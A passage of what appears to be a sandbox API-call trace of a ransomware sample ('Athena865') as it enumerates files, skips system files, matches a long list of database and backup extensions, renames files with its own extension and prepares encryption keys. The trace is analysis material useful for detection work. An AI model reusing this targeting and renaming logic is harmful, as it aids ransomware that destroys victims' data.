Flags=0x8, Size=0x104) returned 0x530d20 [0112.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.438] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0112.438] CloseHandle (hObject=0x154) returned 1 [0112.438] CloseHandle (hObject=0x17c) returned 1 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.438] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".") returned 1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="..") returned 1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="windows") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootmgr") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="temp") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="pagefile.sys") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="boot") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ids.txt") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ntuser.dat") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="perflogs") returned -1 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="MSBuild") returned -1 [0112.439] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0112.439] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEODTXT.DLL" | out: lpString1="ACEODTXT.DLL") returned="ACEODTXT.DLL" [0112.439] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0112.439] lstrlenW (lpString="Athena865") returned 9 [0112.439] lstrcmpiW (lpString1="ODTXT.DLL", lpString2="Athena865") returned 1 [0112.439] lstrlenW (lpString=".dll") returned 4 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".dll") returned 1 [0112.439] lstrlenW (lpString=".lnk") returned 4 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".lnk") returned 1 [0112.439] lstrlenW (lpString=".ini") returned 4 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".ini") returned 1 [0112.439] lstrlenW (lpString=".sys") returned 4 [0112.439] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".sys") returned 1 [0112.439] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0112.440] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.Athena865") returned 78 [0112.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.athena865"), dwFlags=0x1) returned 1 [0112.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.441] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15800) returned 1 [0112.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.441] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.442] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.442] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.442] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40c0, lpName=0x0) returned 0x154 [0112.443] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40c0) returned 0x100000 [0112.445] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.445] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.445] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.446] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0112.446] CloseHandle (hObject=0x154) returned 1 [0112.446] CloseHandle (hObject=0x17c) returned 1 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.449] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0112.450] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.450] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".") returned 1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="..") returned 1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="windows") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootmgr") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="temp") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="pagefile.sys") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="boot") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ids.txt") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ntuser.dat") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="perflogs") returned -1 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="MSBuild") returned -1 [0112.451] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0112.451] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEOLEDB.DLL" | out: lpString1="ACEOLEDB.DLL") returned="ACEOLEDB.DLL" [0112.451] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0112.451] lstrlenW (lpString="Athena865") returned 9 [0112.451] lstrcmpiW (lpString1="OLEDB.DLL", lpString2="Athena865") returned 1 [0112.451] lstrlenW (lpString=".dll") returned 4 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".dll") returned 1 [0112.451] lstrlenW (lpString=".lnk") returned 4 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".lnk") returned 1 [0112.451] lstrlenW (lpString=".ini") returned 4 [0112.451] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".ini") returned 1 [0112.451] lstrlenW (lpString=".sys") returned 4 [0112.452] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".sys") returned 1 [0112.452] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0112.452] lstrlenW (lpString="bak") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.452] lstrlenW (lpString="ba_") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.452] lstrlenW (lpString="dbb") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.452] lstrlenW (lpString="vmdk") returned 4 [0112.452] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.452] lstrlenW (lpString="rar") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.452] lstrlenW (lpString="zip") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.452] lstrlenW (lpString="tgz") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.452] lstrlenW (lpString="vbox") returned 4 [0112.452] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.452] lstrlenW (lpString="vdi") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.452] lstrlenW (lpString="vhd") returned 3 [0112.452] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.452] lstrlenW (lpString="vhdx") returned 4 [0112.452] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.452] lstrlenW (lpString="avhd") returned 4 [0112.452] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.452] lstrlenW (lpString="db") returned 2 [0112.452] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.452] lstrlenW (lpString="db2") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.453] lstrlenW (lpString="db3") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.453] lstrlenW (lpString="dbf") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.453] lstrlenW (lpString="mdf") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.453] lstrlenW (lpString="mdb") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.453] lstrlenW (lpString="sql") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.453] lstrlenW (lpString="sqlite") returned 6 [0112.453] lstrcmpiW (lpString1="DB.DLL", lpString2="sqlite") returned -1 [0112.453] lstrlenW (lpString="sqlite3") returned 7 [0112.453] lstrcmpiW (lpString1="EDB.DLL", lpString2="sqlite3") returned -1 [0112.453] lstrlenW (lpString="sqlitedb") returned 8 [0112.453] lstrcmpiW (lpString1="LEDB.DLL", lpString2="sqlitedb") returned -1 [0112.453] lstrlenW (lpString="xml") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.453] lstrlenW (lpString="$er") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.453] lstrlenW (lpString="4dd") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.453] lstrlenW (lpString="4dl") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.453] lstrlenW (lpString="^^^") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.453] lstrlenW (lpString="abs") returned 3 [0112.453] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.454] lstrlenW (lpString="abx") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.454] lstrlenW (lpString="accdb") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accdb") returned 1 [0112.454] lstrlenW (lpString="accdc") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accdc") returned 1 [0112.454] lstrlenW (lpString="accde") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accde") returned 1 [0112.454] lstrlenW (lpString="accdr") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accdr") returned 1 [0112.454] lstrlenW (lpString="accdt") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accdt") returned 1 [0112.454] lstrlenW (lpString="accdw") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accdw") returned 1 [0112.454] lstrlenW (lpString="accft") returned 5 [0112.454] lstrcmpiW (lpString1="B.DLL", lpString2="accft") returned 1 [0112.454] lstrlenW (lpString="adb") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.454] lstrlenW (lpString="adb") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.454] lstrlenW (lpString="ade") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.454] lstrlenW (lpString="adf") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.454] lstrlenW (lpString="adn") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.454] lstrlenW (lpString="adp") returned 3 [0112.454] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.455] lstrlenW (lpString="alf") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.455] lstrlenW (lpString="ask") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.455] lstrlenW (lpString="btr") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.455] lstrlenW (lpString="cat") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.455] lstrlenW (lpString="cdb") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.455] lstrlenW (lpString="ckp") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.455] lstrlenW (lpString="cma") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.455] lstrlenW (lpString="cpd") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.455] lstrlenW (lpString="dacpac") returned 6 [0112.455] lstrcmpiW (lpString1="DB.DLL", lpString2="dacpac") returned 1 [0112.455] lstrlenW (lpString="dad") returned 3 [0112.455] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.455] lstrlenW (lpString="dadiagrams") returned 10 [0112.455] lstrcmpiW (lpString1="EOLEDB.DLL", lpString2="dadiagrams") returned 1 [0112.455] lstrlenW (lpString="daschema") returned 8 [0112.455] lstrcmpiW (lpString1="LEDB.DLL", lpString2="daschema") returned 1 [0112.455] lstrlenW (lpString="db-journal") returned 10 [0112.455] lstrcmpiW (lpString1="EOLEDB.DLL", lpString2="db-journal") returned 1 [0112.455] lstrlenW (lpString="db-shm") returned 6 [0112.455] lstrcmpiW (lpString1="DB.DLL", lpString2="db-shm") returned -1 [0112.456] lstrlenW (lpString="db-wal") returned 6 [0112.456] lstrcmpiW (lpString1="DB.DLL", lpString2="db-wal") returned -1 [0112.456] lstrlenW (lpString="dbc") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.456] lstrlenW (lpString="dbs") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.456] lstrlenW (lpString="dbt") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.456] lstrlenW (lpString="dbv") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.456] lstrlenW (lpString="dbx") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.456] lstrlenW (lpString="dcb") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.456] lstrlenW (lpString="dct") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.456] lstrlenW (lpString="dcx") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0112.456] lstrlenW (lpString="ddl") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0112.456] lstrlenW (lpString="dlis") returned 4 [0112.456] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0112.456] lstrlenW (lpString="dp1") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0112.456] lstrlenW (lpString="dqy") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0112.456] lstrlenW (lpString="dsk") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0112.456] lstrlenW (lpString="dsn") returned 3 [0112.456] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0112.457] lstrlenW (lpString="dtsx") returned 4 [0112.457] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0112.457] lstrlenW (lpString="dxl") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0112.457] lstrlenW (lpString="eco") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0112.457] lstrlenW (lpString="ecx") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0112.457] lstrlenW (lpString="edb") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0112.457] lstrlenW (lpString="epim") returned 4 [0112.457] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0112.457] lstrlenW (lpString="fcd") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0112.457] lstrlenW (lpString="fdb") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0112.457] lstrlenW (lpString="fic") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0112.457] lstrlenW (lpString="flexolibrary") returned 12 [0112.457] lstrlenW (lpString="fm5") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0112.457] lstrlenW (lpString="fmp") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0112.457] lstrlenW (lpString="fmp12") returned 5 [0112.457] lstrcmpiW (lpString1="B.DLL", lpString2="fmp12") returned -1 [0112.457] lstrlenW (lpString="fmpsl") returned 5 [0112.457] lstrcmpiW (lpString1="B.DLL", lpString2="fmpsl") returned -1 [0112.457] lstrlenW (lpString="fol") returned 3 [0112.457] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0112.457] lstrlenW (lpString="fp3") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0112.458] lstrlenW (lpString="fp4") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0112.458] lstrlenW (lpString="fp5") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0112.458] lstrlenW (lpString="fp7") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0112.458] lstrlenW (lpString="fpt") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0112.458] lstrlenW (lpString="frm") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0112.458] lstrlenW (lpString="gdb") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.458] lstrlenW (lpString="gdb") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.458] lstrlenW (lpString="grdb") returned 4 [0112.458] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0112.458] lstrlenW (lpString="gwi") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0112.458] lstrlenW (lpString="hdb") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0112.458] lstrlenW (lpString="his") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0112.458] lstrlenW (lpString="ib") returned 2 [0112.458] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0112.458] lstrlenW (lpString="idb") returned 3 [0112.458] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0112.458] lstrlenW (lpString="ihx") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0112.459] lstrlenW (lpString="itdb") returned 4 [0112.459] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0112.459] lstrlenW (lpString="itw") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0112.459] lstrlenW (lpString="jet") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0112.459] lstrlenW (lpString="jtx") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0112.459] lstrlenW (lpString="kdb") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0112.459] lstrlenW (lpString="kexi") returned 4 [0112.459] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0112.459] lstrlenW (lpString="kexic") returned 5 [0112.459] lstrcmpiW (lpString1="B.DLL", lpString2="kexic") returned -1 [0112.459] lstrlenW (lpString="kexis") returned 5 [0112.459] lstrcmpiW (lpString1="B.DLL", lpString2="kexis") returned -1 [0112.459] lstrlenW (lpString="lgc") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0112.459] lstrlenW (lpString="lwx") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0112.459] lstrlenW (lpString="maf") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0112.459] lstrlenW (lpString="maq") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0112.459] lstrlenW (lpString="mar") returned 3 [0112.459] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0112.459] lstrlenW (lpString="marshal") returned 7 [0112.459] lstrcmpiW (lpString1="EDB.DLL", lpString2="marshal") returned -1 [0112.459] lstrlenW (lpString="mas") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0112.460] lstrlenW (lpString="mav") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0112.460] lstrlenW (lpString="maw") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0112.460] lstrlenW (lpString="mdbhtml") returned 7 [0112.460] lstrcmpiW (lpString1="EDB.DLL", lpString2="mdbhtml") returned -1 [0112.460] lstrlenW (lpString="mdn") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0112.460] lstrlenW (lpString="mdt") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0112.460] lstrlenW (lpString="mfd") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0112.460] lstrlenW (lpString="mpd") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0112.460] lstrlenW (lpString="mrg") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0112.460] lstrlenW (lpString="mud") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0112.460] lstrlenW (lpString="mwb") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0112.460] lstrlenW (lpString="myd") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0112.460] lstrlenW (lpString="ndf") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0112.460] lstrlenW (lpString="nnt") returned 3 [0112.460] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0112.460] lstrlenW (lpString="nrmlib") returned 6 [0112.461] lstrcmpiW (lpString1="DB.DLL", lpString2="nrmlib") returned -1 [0112.461] lstrlenW (lpString="ns2") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0112.461] lstrlenW (lpString="ns3") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0112.461] lstrlenW (lpString="ns4") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0112.461] lstrlenW (lpString="nsf") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0112.461] lstrlenW (lpString="nv") returned 2 [0112.461] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0112.461] lstrlenW (lpString="nv2") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0112.461] lstrlenW (lpString="nwdb") returned 4 [0112.461] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0112.461] lstrlenW (lpString="nyf") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0112.461] lstrlenW (lpString="odb") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.461] lstrlenW (lpString="odb") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.461] 